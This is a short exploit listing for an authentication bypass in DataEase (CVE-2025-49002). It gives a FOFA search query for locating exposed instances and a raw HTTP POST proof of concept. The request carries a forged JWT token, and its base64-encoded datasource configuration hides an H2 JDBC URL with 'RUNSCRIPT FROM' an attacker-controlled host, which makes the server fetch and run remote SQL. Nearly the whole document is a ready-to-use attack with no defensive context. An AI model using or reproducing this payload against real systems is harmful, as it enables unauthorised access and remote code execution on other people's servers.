Exploit for Authentication Bypass by Spoofing in Dataease CVE-2025-49002

## https://sploitus.com/exploit?id=751D8635-A5B8-54B1-9C12-AA0CBF53B0C6
fofa语法：title="DataEase"

poc:
"POST /de2api/datasource/validate HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate, br, zstd
sec-ch-ua: ""Google Chrome"";v=""135"", ""Not-A.Brand"";v=""8"", ""Chromium"";v=""135""
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
X-DE-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MX0.a5QYOfZDYlhAy-zUMYzKBBvCUs1ogZhjwKV5SBTECt8
Accept-Language: zh-CN
Sec-Fetch-Dest: empty
sec-ch-ua-mobile: ?0
Sec-Fetch-Site: same-origin
sec-ch-ua-platform: ""Windows""
Content-Type: application/json
Sec-Fetch-Mode: cors
Content-Length: 821

{
    ""id"": """",
    ""name"": ""11"",
    ""description"": """",
    ""type"": ""h2"",
    ""apiConfiguration"": [],
    ""paramsConfiguration"": [],
    ""enableDataFill"": false,
    ""configuration"": ""eyJkYXRhQmFzZSI6IiIsImpkYmMiOiJqZGJjOmgyOm1lbTp0ZXN0ZGI7VFJBQ0VfTEVWRUxfU1lTVEVNX09VVD0zO2luaXQ9UlVuU0NSSVBUIEZST00gJ2h0dHA6Ly95b3VyLXZwczoyMzMzL3BvYy5zcWwnIiwidXJsVHlwZSI6ImpkYmNVcmwiLCJzc2hUeXBlIjoicGFzc3dvcmQiLCJleHRyYVBhcmFtcyI6IiIsInVzZXJuYW1lIjoiMTIzIiwicGFzc3dvcmQiOiIxMjMiLCJob3N0IjoiIiwiYXV0aE1ldGhvZCI6IiIsInBvcnQiOjAsImluaXRpYWxQb29sU2l6ZSI6NSwibWluUG9vbFNpemUiOjUsIm1heFBvb2xTaXplIjo1LCJxdWVyeVRpbWVvdXQiOjMwfQ==""
}"